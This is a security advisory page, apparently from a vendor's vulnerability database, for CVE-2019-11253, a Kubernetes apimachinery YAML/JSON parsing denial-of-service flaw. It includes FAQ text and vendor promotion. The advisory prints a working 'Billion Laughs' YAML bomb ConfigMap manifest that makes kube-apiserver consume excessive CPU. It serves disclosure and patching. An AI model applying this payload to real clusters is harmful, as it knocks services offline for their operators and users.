Summary
Kubernetes apimachinery packages vulnerable to unbounded recursion in JSON or YAML parsing
CVE-2019-11253 is a denial of service vulnerability in the kube-apiserver, allowing authorized users sending malicious YAML or JSON payloads to cause kube-apiserver to consume excessive CPU or memory, potentially crashing and becoming unavailable.
When creating a ConfigMap object which has recursive references contained in it, excessive CPU usage can occur. This appears to be an instance of a "Billion Laughs" attack which is quite well known as an XML parsing issue.
Applying this manifest to a cluster causes the client to hang for some time with considerable CPU usage.
apiVersion: v1
data:
a: &a ["web","web","web","web","web","web","web","web","web"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
kind: ConfigMap
metadata:
name: yaml-bomb
namespace: default
Specific Go Packages Affected
- k8s.io/apimachinery/pkg/runtime/serializer/json
- k8s.io/apimachinery/pkg/util/json
Impact
The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths. Typical impact: varies by context: data corruption, logic bypass, or denial of service.
GHSA-74FP-R6JW-H4MP has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20190927203648-9ce6eca90e73); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is GHSA-74FP-R6JW-H4MP? GHSA-74FP-R6JW-H4MP is a high-severity improper input validation vulnerability in k8s.io/apimachinery (go), affecting versions < 0.0.0-20190927203648-9ce6eca90e73. It is fixed in 0.0.0-20190927203648-9ce6eca90e73. The application does not adequately validate input before processing it, allowing unexpected values to reach sensitive code paths.
- How severe is GHSA-74FP-R6JW-H4MP? GHSA-74FP-R6JW-H4MP has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of k8s.io/apimachinery are affected by GHSA-74FP-R6JW-H4MP? k8s.io/apimachinery (go) versions < 0.0.0-20190927203648-9ce6eca90e73 is affected.
- Is there a fix for GHSA-74FP-R6JW-H4MP? Yes. GHSA-74FP-R6JW-H4MP is fixed in 0.0.0-20190927203648-9ce6eca90e73. Upgrade to this version or later.
- Is GHSA-74FP-R6JW-H4MP exploitable, and should I be worried? Whether GHSA-74FP-R6JW-H4MP is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-74FP-R6JW-H4MP is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-74FP-R6JW-H4MP? Upgrade
k8s.io/apimachineryto 0.0.0-20190927203648-9ce6eca90e73 or later.